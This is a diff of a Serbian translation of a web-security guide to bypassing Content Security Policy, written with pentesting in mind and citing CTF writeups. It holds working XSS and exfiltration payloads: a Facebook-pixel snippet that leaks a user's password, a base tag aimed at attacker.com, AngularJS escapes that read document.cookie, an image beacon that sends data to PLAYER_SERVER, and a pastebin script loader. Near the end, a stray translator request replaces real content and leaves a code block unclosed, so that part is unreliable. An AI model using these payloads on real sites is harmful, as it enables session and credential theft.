-4. Na ciljanom sajtu sa kojeg želite da exfiltrirate podatke, možete exfiltrirati podatke direktno koristeći Facebook SDK uređaj "fbq" kroz "customEvent" i payload podataka.
-5. Idite na svoj App "Event Manager" i izaberite aplikaciju koju ste kreirali (napomena: menadžer događaja može se naći na URL-u sličnom ovome: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
-6. Izaberite tab "Test Events" da vidite događaje koje šalje "vaš" veb sajt.
+1. Kreirajte Facebook Developer nalog ovde.
+2. Kreirajte novu aplikaciju "Facebook Login" i izaberite "Website".
+3. Idite na "Settings -> Basic" i preuzmite svoj "App ID"
+4. Na ciljnom sajtu sa kog želite exfiltrate data, možete to uraditi direktnim korišćenjem Facebook SDK gadget-a "fbq" kroz "customEvent" i data payload.
+5. Idite u App "Event Manager" i izaberite aplikaciju koju ste kreirali (napomena: event manager se može naći u URL-u sličnom ovom: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
+6. Izaberite tab "Test Events" da vidite događaje koje šalje "vaš" web site.

-Zatim, na strani žrtve, izvršite sledeći kod da inicijalizujete Facebook tracking pixel da pokazuje na app-id napadačevog Facebook developer naloga i izdajte prilagođeni događaj poput ovog:
+Zatim, na victim strani, izvršite sledeći kod da inicijalizujete Facebook tracking pixel tako da pokazuje na attacker's Facebook developer account app-id i pošaljete custom event ovako:
 ```JavaScript
 fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
 fbq('trackCustom', 'My-Custom-Event',{
 data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
 });
 ```
-Što se tiče ostalih sedam domena trećih strana navedenih u prethodnoj tabeli, postoji mnogo drugih načina na koje ih možete zloupotrebiti. Pogledajte prethodni [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) za dodatna objašnjenja o drugim zloupotrebama trećih strana.
+As for the other seven third-party domains specified in the previous table, there are many other ways you can abuse them. Refer to the previously [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) for additional explanations about other third-party abuses.

-### Bypass putem RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
+### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>

-Pored prethodno pomenutog preusmeravanja za zaobilaženje ograničenja putanje, postoji još jedna tehnika koja se zove Relative Path Overwrite (RPO) koja se može koristiti na nekim serverima.
+Pored pomenute redirekcije koja služi za bypass ograničenja putanja, postoji još jedna tehnika nazvana Relative Path Overwrite (RPO) koja se može koristiti na nekim serverima.

-Na primer, ako CSP dozvoljava putanju `https://example.com/scripts/react/`, može se zaobići na sledeći način:
+For example, if CSP allows the path `https://example.com/scripts/react/`, it can be bypassed as follows:
 ```html
 <script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
 ```
 Pregledač će na kraju učitati `https://example.com/scripts/angular/angular.js`.

-To funkcioniše jer za pregledač učitavate datoteku pod imenom `..%2fangular%2fangular.js` koja se nalazi pod `https://example.com/scripts/react/`, što je u skladu sa CSP.
+Ovo radi zato što za pregledač učitavate fajl nazvan `..%2fangular%2fangular.js` koji se nalazi pod `https://example.com/scripts/react/`, što je u skladu sa CSP.

-∑, oni će to dekodirati, efektivno tražeći `https://example.com/scripts/react/../angular/angular.js`, što je ekvivalentno `https://example.com/scripts/angular/angular.js`.
+Zatim će ga dešifrovati, efektivno zahtevajući `https://example.com/scripts/react/../angular/angular.js`, što je ekvivalentno `https://example.com/scripts/angular/angular.js`.

-Iskorišćavanjem ove nekonzistentnosti u interpretaciji URL-a između pregledača i servera, pravila putanje se mogu zaobići.
+By **exploiting this inconsistency in URL interpretation between the browser and the server, the path rules can be bypassed**.

-Rešenje je da se `%2f` ne tretira kao `/` na strani servera, osiguravajući doslednu interpretaciju između pregledača i servera kako bi se izbegao ovaj problem.
+Rešenje je da se ne tretira `%2f` kao `/` na serverskoj strani, obezbeđujući dosledno tumačenje između pregledača i servera kako bi se izbegao ovaj problem.

-Online primer:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
+Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)

-### Iframes JS izvršavanje
+### Iframes JS execution


 {{#ref}}
 ../xss-cross-site-scripting/iframes-in-xss-and-csp.md
 {{#endref}}

-### nedostaje **base-uri**
+### missing **base-uri**

-Ako je direktiva **base-uri** odsutna, možete je zloupotrebiti da izvršite [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
+Ako direktiva **base-uri** nedostaje, možete je zloupotrebiti da izvršite [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).

-Štaviše, ako **stranica učitava skriptu koristeći relativnu putanju** (kao što je `<script src="/js/app.js">`) koristeći **Nonce**, možete zloupotrebiti **base** **tag** da učitate skriptu sa **vašeg servera, postignuvši XSS.**\
-Ako se ranjiva stranica učitava sa **httpS**, koristite httpS URL u bazi.
+Štaviše, ako **stranica učitava skriptu koristeći relativnu putanju** (kao `<script src="/js/app.js">`) i koristi **Nonce**, možete zloupotrebiti **base** **tag** da natjerate da se skripta **učita** sa **vašeg servera**, postižući XSS.\
+Ako se ranjiva stranica učitava preko **httpS**, koristite httpS url u base.
 ```html
 <base href="https://www.attacker.com/" />
 ```
 ### AngularJS događaji

-Specifična politika poznata kao Content Security Policy (CSP) može ograničiti JavaScript događaje. Ipak, AngularJS uvodi prilagođene događaje kao alternativu. Unutar događaja, AngularJS pruža jedinstveni objekat `$event`, koji se odnosi na objekat nativnog browser događaja. Ovaj `$event` objekat može biti iskorišćen za zaobilaženje CSP-a. Važno je napomenuti da u Chrome-u, `$event/event` objekat poseduje `path` atribut, koji sadrži niz objekata uključenih u lanac izvršenja događaja, pri čemu je objekat `window` uvek smešten na kraju. Ova struktura je ključna za taktike izlaska iz sandbox-a.
+Specifična politika poznata kao Content Security Policy (CSP) može ograničiti JavaScript događaje. Ipak, AngularJS uvodi prilagođene događaje kao alternativu. Unutar događaja, AngularJS obezbeđuje jedinstveni objekat `$event`, koji referencira izvorni browser event objekat. Ovaj `$event` objekat može biti iskorišćen da zaobiđe CSP.

-Usmeravanjem ovog niza ka `orderBy` filteru, moguće je iterirati kroz njega, koristeći terminalni element (objekat `window`) da pokrene globalnu funkciju kao što je `alert()`. Prikazani kod ispod objašnjava ovaj proces:
+Posebno u Chrome-u, `$event/event` objekat poseduje `path` atribut, koji sadrži niz objekata uključenih u lanac izvršenja događaja, pri čemu je objekat `window` uvek na kraju. Ova struktura je ključna za sandbox escape taktike.
+
+Preusmeravanjem ovog niza na filter `orderBy`, moguće je iterirati kroz njega i iskoristiti terminalni element (objekat `window`) da pozove globalnu funkciju kao što je `alert()`. Prikazani kod ispod ilustruje ovaj proces:
 ```xml
 <input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
 ?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
 ```
-Ovaj isječak ističe upotrebu `ng-focus` direktive za pokretanje događaja, koristeći `$event.path|orderBy` za manipulaciju `path` nizom, i koristeći `window` objekat za izvršavanje `alert()` funkcije, čime se otkriva `document.cookie`.
+Ovaj isječak ističe upotrebu `ng-focus` direktive za pokretanje događaja, koristeći `$event.path|orderBy` za manipulaciju nizom `path`, i oslanjajući se na `window` objekat da izvrši `alert()` funkciju, čime se otkriva `document.cookie`.

-**Pronađite druge Angular bypass-e na** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+**Pronađite druge Angular bypasses na** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)

-### AngularJS i dozvoljena domena
+### AngularJS i domen na beloj listi
 ```
 Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
 ```
-CSP politika koja beleži dozvoljene domene za učitavanje skripti u Angular JS aplikaciji može biti zaobiđena pozivanjem callback funkcija i određenih ranjivih klasa. Dodatne informacije o ovoj tehnici mogu se naći u detaljnom vodiču dostupnom na ovom [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
+Politika CSP koja stavlja domene na belu listu za učitavanje skripti u Angular JS aplikaciji može se zaobići pozivanjem callback functions i određenih ranjivih klasa. Dodatne informacije o ovoj tehnici mogu se naći u detaljnom vodiču dostupnom na ovom [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).

-Radni payloadi:
+Working payloads:
 ```html
 <script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
 ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
@ -398,15 +401,15 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
 <!-- no longer working -->
 <script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
 ```
-Drugi JSONP arbitrarni izvršni krajnji tački mogu se naći [**ovde**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (neki od njih su obrisani ili ispravljeni)
+Ostali JSONP arbitrary execution endpoints mogu se naći u [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (neki od njih su uklonjeni ili ispravljeni)

-### Bypass putem preusmeravanja
+### Zaobilaženje putem preusmeravanja

-Šta se dešava kada CSP naiđe na preusmeravanje na serverskoj strani? Ako preusmeravanje vodi ka drugom poreklu koje nije dozvoljeno, i dalje će propasti.
+Šta se dešava kada CSP naiđe na preusmeravanje na serverskoj strani? Ako preusmeravanje vodi ka drugom originu koji nije dozvoljen, ono će i dalje biti neuspešno.

-Međutim, prema opisu u [CSP specifikaciji 4.2.2.3. Putevi i preusmeravanja](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), ako preusmeravanje vodi ka drugom putu, može zaobići originalna ograničenja.
+Međutim, prema opisu u [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), ako preusmeravanje vodi na drugu putanju, može zaobići izvorna ograničenja.

-Evo jednog primera:
+Evo primera:
 ```html
 <!DOCTYPE html>
 <html>
@ -424,68 +427,69 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
 </body>
 </html>
 ```
-Ako je CSP postavljen na `https://www.google.com/a/b/c/d`, pošto se putanja uzima u obzir, skripte `/test` i `/a/test` će biti blokirane od strane CSP-a.
+Ako je CSP podešen na `https://www.google.com/a/b/c/d`, pošto se putanja uzima u obzir, i skripte `/test` i `/a/test` će biti blokirane od strane CSP-a.

-Međutim, konačni `http://localhost:5555/301` će biti **preusmeren na serverskoj strani na `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Pošto je u pitanju preusmeravanje, **putanja se ne uzima u obzir**, i **skripta može biti učitana**, čime se zaobilazi ograničenje putanje.
+Međutim, krajnji `http://localhost:5555/301` će biti **preusmeren na serverskoj strani na `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Pošto je u pitanju preusmeravanje, **putanja se ne uzima u obzir**, i **skripta može biti učitana**, čime se zaobilazi ograničenje putanje.

-Sa ovim preusmeravanjem, čak i ako je putanja potpuno navedena, i dalje će biti zaobiđena.
+Sa ovim preusmeravanjem, čak i ako je putanja potpuno specificirana, i dalje će biti zaobiđena.

-Stoga, najbolje rešenje je osigurati da veb sajt nema otvorene ranjivosti za preusmeravanje i da ne postoje domeni koji se mogu iskoristiti u CSP pravilima.
+Stoga je najbolje rešenje da se obezbedi da sajt nema open redirect ranjivosti i da u CSP pravilima nema domena koji se mogu iskoristiti.

-### Zaobilaženje CSP-a sa visećim oznakama
+### Bypass CSP with dangling markup

-Pročitajte [kako ovde](../dangling-markup-html-scriptless-injection/index.html).
+Pročitajte [ovde](../dangling-markup-html-scriptless-injection/index.html).

-### 'unsafe-inline'; img-src \*; putem XSS
+### 'unsafe-inline'; img-src \*; via XSS
 ```
 default-src 'self' 'unsafe-inline'; img-src *;
 ```
-`'unsafe-inline'` znači da možete izvršiti bilo koji skript unutar koda (XSS može izvršiti kod) i `img-src *` znači da možete koristiti bilo koju sliku sa bilo kog resursa na veb stranici.
+`'unsafe-inline'` znači da možeš izvršiti bilo koji skript unutar koda (XSS može izvršiti kod) i `img-src *` znači da možeš koristiti na web stranici bilo koju sliku sa bilo kog izvora.

-Možete zaobići ovaj CSP eksfiltracijom podataka putem slika (u ovoj situaciji XSS zloupotrebljava CSRF gde stranica dostupna botu sadrži SQLi, i izvlači zastavicu putem slike):
+Možeš zaobići ovaj CSP egzfiltracijom podataka putem slika (u ovom slučaju XSS zloupotrebljava CSRF gde stranica dostupna botu sadrži SQLi i izvlači flag putem slike):
 ```javascript
 <script>
 fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
 Image().src='http://PLAYER_SERVER/?'+_)
 </script>
 ```
-From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
+Iz: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

-Možete takođe zloupotrebiti ovu konfiguraciju da **učitate javascript kod umetnut unutar slike**. Ako, na primer, stranica dozvoljava učitavanje slika sa Twittera. Možete **napraviti** **posebnu sliku**, **otpremiti** je na Twitter i zloupotrebiti "**unsafe-inline**" da **izvršite** JS kod (kao običan XSS) koji će **učitati** **sliku**, **izvući** **JS** iz nje i **izvršiti** **ga**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
+Takođe možete zloupotrebiti ovu konfiguraciju da **učitate javascript kod umetnut u sliku**. Na primer, ako stranica dozvoljava učitavanje slika sa Twittera. Možete **konstruisati** **specijalnu sliku**, **otpremiti** je na Twitter i iskoristiti "**unsafe-inline**" da **izvršite** JS kod (kao regularan XSS) koji će **učitati** **sliku**, **izvući** **JS** iz nje i **izvršiti** **ga**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)

-### Sa Servisnim Radnicima
+### Sa Service Workers
+
+Funkcija Service workers **`importScripts`** nije ograničena od strane CSP:

-Funkcija servisnih radnika **`importScripts`** nije ograničena CSP-om:

 {{#ref}}
 ../xss-cross-site-scripting/abusing-service-workers.md
 {{#endref}}

-### Injekcija Politike
+### Policy Injection

-**Istraživanje:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
+**Research:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)

 #### Chrome

-Ako je **parametar** koji ste poslali **nalepio** unutar **deklaracije** **politike,** onda možete **izmeniti** **politiku** na neki način koji je čini **beskorisnom**. Možete **dozvoliti skriptu 'unsafe-inline'** sa bilo kojim od ovih zaobilaženja:
+Ako se **parametar** koji pošaljete **zalepi unutar** **deklaracije** **policy,** onda biste mogli **izmeniti** **policy** na način koji ga čini **neupotrebljivim**. Možete **dozvoliti script 'unsafe-inline'** sa bilo kojim od ovih bypass-a:
 ```bash
 script-src-elem *; script-src-attr *
 script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
 ```
-Zato što će ova direktiva **prepisati postojeće script-src direktive**.\
-Možete pronaći primer ovde: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
+Zato što će ova direktiva **prepisati postojeće script-src directives**.\
+Primer možete naći ovde: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)

 #### Edge

-U Edge-u je mnogo jednostavnije. Ako možete dodati u CSP samo ovo: **`;_`** **Edge** bi **odbacio** celu **politiku**.\
-Primer: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
+U Edge-u je mnogo jednostavnije. Ako možete u CSP ubaciti samo ovo: **`;_`** **Edge** će **odbaciti** celu **politiku**.\
+Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)

-### img-src \*; putem XSS (iframe) - Vremenski napad
+### img-src \*; via XSS (iframe) - Time attack

-Obratite pažnju na nedostatak direktive `'unsafe-inline'`\
-Ovog puta možete naterati žrtvu da **učita** stranicu pod **vašom kontrolom** putem **XSS** sa `<iframe`. Ovog puta ćete naterati žrtvu da pristupi stranici sa koje želite da izvučete informacije (**CSRF**). Ne možete pristupiti sadržaju stranice, ali ako nekako možete **kontrolisati vreme koje je stranici potrebno da se učita**, možete izvući informacije koje su vam potrebne.
+Obratite pažnju na izostanak direktive `'unsafe-inline'`\
+Ovog puta možete naterati žrtvu da **učita** stranicu pod **vašom kontrolom** preko **XSS** koristeći `<iframe`. Ovog puta nateraćete žrtvu da pristupi stranici sa koje želite da izvučete informacije (**CSRF**). Ne možete pristupiti sadržaju stranice, ali ako na neki način možete **kontrolisati vreme učitavanja stranice** možete izvući potrebne informacije.

-Ovog puta će biti izvučen **flag**, kada god se **karakter ispravno pogodi** putem SQLi, **odgovor** traje **duže** zbog sleep funkcije. Tada ćete moći da izvučete flag:
+Ovog puta će biti izvučen **flag**; kad god se neki **karakter tačno pogodi** preko SQLi, **response** traje **duže** zbog sleep funkcije. Tada ćete moći da izvučete flag:
 ```html
 <!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
 <iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -545,24 +549,24 @@ console.log(prefix)
 run()
 </script>
 ```
-### Via Bookmarklets
+### Putem Bookmarklets

-Ovaj napad bi podrazumevao neku vrstu socijalnog inženjeringa gde napadač **uverava korisnika da prevuče i ispusti link preko bookmarkleta pregledača**. Ovaj bookmarklet bi sadržao **malicious javascript** kod koji bi, kada se prevuče ili klikne, bio izvršen u kontekstu trenutnog web prozora, **zaobilazeći CSP i omogućavajući krađu osetljivih informacija** kao što su kolačići ili tokeni.
+Ovaj napad podrazumeva socijalni inženjering gde napadač **ubedi korisnika da prevuče i ispusti link preko bookmarkleta pretraživača**. Taj bookmarklet bi sadržao **zlonamerni javascript** kod koji bi, kada je drag\&dropped ili kliknut, bio izvršen u kontekstu trenutnog web prozora, **zaobilazeći CSP i omogućavajući krađu osetljivih informacija** kao što su cookies ili tokens.

-Za više informacija [**proverite originalni izveštaj ovde**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
+Za više informacija [**pogledajte originalni izveštaj ovde**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).

 ### CSP bypass by restricting CSP

-U [**ovoj CTF analizi**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se zaobilazi injektovanjem unutar dozvoljenog iframe-a strožijeg CSP-a koji je zabranio učitavanje specifične JS datoteke koja je, zatim, putem **prototype pollution** ili **dom clobbering** omogućila **zloupotrebu različitog skripta za učitavanje proizvoljnog skripta**.
+U [**ovom CTF writeupu**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se zaobilazi tako što se unutar dozvoljenog iframe-a ubaci stroži CSP koji onemogućava učitavanje određenog JS fajla koji je, zatim, putem **prototype pollution** ili **dom clobbering**, omogućio **zloupotrebu drugog skripta da učita proizvoljan skript**.

-Možete **ograničiti CSP iframe-a** sa **`csp`** atributom:
+Možete **ograničiti CSP iframe-a** pomoću **`csp`** atributa:
 ```html
 <iframe
 src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
 csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
 ```
-U [**ovoj CTF analizi**](https://github.com/aszx87410/ctf-writeups/issues/48), bilo je moguće putem **HTML injekcije** da se **ograniči** više **CSP** tako da je skripta koja sprečava CSTI onemogućena i stoga je **ranjivost postala iskoristiva.**\
-CSP se može učiniti restriktivnijim korišćenjem **HTML meta tagova** i inline skripte mogu onemogućiti **uklanjanje** **unosa** koji omogućava njihov **nonce** i **omogućiti specifičnu inline skriptu putem sha**:
+In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), bilo je moguće putem **HTML injection** dodatno **ograničiti** **CSP**, tako da je skripta koja sprečava CSTI bila onemogućena i samim tim je **ranjivost postala iskoristiva.**\
+CSP se može učiniti strožijim korišćenjem **HTML meta tags**, a inline skripte se mogu onemogućiti **uklanjanjem** **unosa** koji omogućava njihov **nonce** i omogućavanjem specifičnih inline skripti putem **sha**:
 ```html
 <meta
 http-equiv="Content-Security-Policy"
@ -571,51 +575,69 @@ content="script-src 'self'
 'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
 'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
 ```
-### JS exfiltracija sa Content-Security-Policy-Report-Only
+### JS exfiltration pomoću Content-Security-Policy-Report-Only

-Ako uspete da naterate server da odgovori sa zaglavljem **`Content-Security-Policy-Report-Only`** sa **vrednošću koju kontrolišete** (možda zbog CRLF), mogli biste da ga usmerite na vaš server i ako **obavijete** **JS sadržaj** koji želite da eksfiltrirate sa **`<script>`** i zato što je veoma verovatno da `unsafe-inline` nije dozvoljen od strane CSP, ovo će **pokrenuti CSP grešku** i deo skripte (koji sadrži osetljive informacije) biće poslat serveru iz `Content-Security-Policy-Report-Only`.
+Ako uspeš da nateraš server da odgovori sa hederom **`Content-Security-Policy-Report-Only`** sa **vrednošću koju kontrolišeš** (možda zbog CRLF), možeš ga navesti da pokazuje na tvoj server i ako **umotaš** **JS content** koji želiš da exfiltrate u **`<script>`**, i pošto je vrlo verovatno da `unsafe-inline` nije dozvoljen od strane CSP, ovo će **izazvati CSP grešku** i deo skripta (koji sadrži osetljive informacije) će biti poslat serveru preko `Content-Security-Policy-Report-Only`.

-Za primer [**proverite ovaj CTF izveštaj**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
+Za primer [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).

 ### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
 ```javascript
 document.querySelector("DIV").innerHTML =
 '<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
 ```
-### Curjenje informacija sa CSP i Iframe
+### Leaking Information with CSP and Iframe

- `iframe` se kreira koji upućuje na URL (nazovimo ga `https://example.redirect.com`) koji je dozvoljen od strane CSP-a.
- Ovaj URL zatim preusmerava na tajni URL (npr., `https://usersecret.example2.com`) koji **nije dozvoljen** od strane CSP-a.
- Slušanjem `securitypolicyviolation` događaja, može se uhvatiti `blockedURI` svojstvo. Ovo svojstvo otkriva domen blokiranog URI-a, curi tajni domen na koji je inicijalni URL preusmerio.
+- Kreira se `iframe` koji pokazuje na URL (nazovimo ga `https://example.redirect.com`) koji je dozvoljen od strane CSP.
+- Taj URL zatim redirektuje na tajni URL (npr. `https://usersecret.example2.com`) koji **nije dozvoljen** od strane CSP.
+- Osluškujući `securitypolicyviolation` događaj, može se uhvatiti `blockedURI` svojstvo. Ovo svojstvo otkriva domen blokiranog URI-ja, leaking tajni domen na koji je početni URL redirektovao.

-Zanimljivo je napomenuti da pregledači poput Chrome-a i Firefox-a imaju različita ponašanja u vezi sa rukovanjem iframe-ovima u odnosu na CSP, što može dovesti do potencijalnog curenja osetljivih informacija zbog neodređenog ponašanja.
+Zanimljivo je da pregledači kao što su Chrome i Firefox imaju različito ponašanje pri rukovanju `iframe`-ovima u odnosu na CSP, što može dovesti do potencijalnog leak-a osetljivih informacija usled nedefinisanog ponašanja.

-Druga tehnika uključuje iskorišćavanje samog CSP-a za dedukciju tajnog poddomena. Ova metoda se oslanja na algoritam binarne pretrage i prilagođavanje CSP-a kako bi uključila specifične domene koje su namerno blokirane. Na primer, ako je tajni poddomen sastavljen od nepoznatih karaktera, možete iterativno testirati različite poddomene modifikovanjem CSP direktive da blokira ili dozvoli ove poddomene. Evo isječka koji prikazuje kako bi CSP mogao biti postavljen da olakša ovu metodu:
+Još jedna tehnika uključuje eksploatisanje samog CSP-a kako bi se odredio tajni subdomen. Ova metoda se zasniva na binarnoj pretrazi i podešavanju CSP-a da uključi specifične domene koji su namerno blokirani. Na primer, ako je tajni subdomen sastavljen od nepoznatih karaktera, možete iterativno testirati različite subdomene menjajući CSP direktivu da blokira ili dozvoli te subdomene. Evo snippet-a koji prikazuje kako bi CSP mogao biti podešen da olakša ovu metodu:
 ```markdown
 img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
 ```
-Praćenjem koje zahteve CSP blokira ili dozvoljava, može se suziti mogući skup karaktera u tajnom poddomeni, na kraju otkrivajući punu URL adresu.
+Prateći koje zahteve CSP blokira ili dozvoljava, može se suziti skup mogućih karaktera u tajnom poddomenу, na kraju otkrivši puni URL.

-Obe metode koriste nijanse implementacije i ponašanja CSP-a u pregledačima, pokazujući kako naizgled sigurni propisi mogu nenamerno otkriti osetljive informacije.
+Obe metode eksploatišu nijanse implementacije CSP-a i ponašanje u browser-ima, pokazujući kako naizgled sigurne politike mogu nenamerno leak osetljive informacije.

-Trik iz [**ovde**](https://ctftime.org/writeup/29310).
+Trick from [**here**](https://ctftime.org/writeup/29310).

-## Nesigurne tehnologije za zaobilaženje CSP-a
+## Nesigurne tehnologije za zaobilaženje CSP

-### PHP greške kada je previše parametara
+### PHP Errors when too many params

-Prema [**poslednjoj tehnici komentarisanoj u ovom videu**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), slanje previše parametara (1001 GET parametar iako to možete uraditi i sa POST parametrima i više od 20 fajlova). Svaki definisani **`header()`** u PHP web kodu **neće biti poslat** zbog greške koju će ovo izazvati.
+Prema [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), slanje previše parametara (1001 GET parameters mada se može uraditi i sa POST params i više od 20 fajlova). Svaki definisani **`header()`** u PHP web kodu **neće biti poslat** zbog greške koju to izazove.

-### Preopterećenje PHP odgovora
+### PHP response buffer overload

-PHP je poznat po tome što **bafuje odgovor na 4096** bajtova po defaultu. Stoga, ako PHP prikazuje upozorenje, pružanjem **dovoljno podataka unutar upozorenja**, **odgovor** će biti **poslat** **pre** **CSP header-a**, uzrokujući da se header ignoriše.\
-Tada, tehnika se u suštini sastoji u **punjenju bafera odgovora upozorenjima** kako CSP header ne bi bio poslat.
+Poznato je da PHP po defaultu **buffering the response to 4096** bytes. Stoga, ako PHP prikazuje warning, obezbeđivanjem **dovoljne količine podataka unutar warning-a**, **response** će biti **poslat** **pre** **CSP header**, zbog čega će header biti ignorisan.\
+Tehnika se u suštini sastoji u **punjenju response bafera warning-ovima** tako da CSP header ne bude poslat.

-Ideja iz [**ovog izveštaja**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
+Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).

-### Prepisivanje stranice greške
+### Kill CSP via max_input_vars (headers already sent)

-Iz [**ovog izveštaja**](https://blog.ssrf.kr/69) izgleda da je bilo moguće zaobići CSP zaštitu učitavanjem stranice greške (potencijalno bez CSP-a) i prepisivanjem njenog sadržaja.
+Pošto headers moraju biti poslati pre bilo kog output-a, warnings koje PHP emituje mogu poništiti kasnije pozive `header()`. Ako korisnički input pređe `max_input_vars`, PHP prvo baci startup warning; svaki naredni poziv `header('Content-Security-Policy: ...')` će se završiti greškom “headers already sent”, efektivno onemogućavajući CSP i dozvoljavajući reflektivni XSS koji bi inače bio blokiran.
+```php
+<?php
+header("Content-Security-Policy: default-src 'none';");
+echo $_GET['xss'];
+```
+Molim vas zalepite sadržaj fajla README.md koji želite da prevedem na srpski.
+```bash
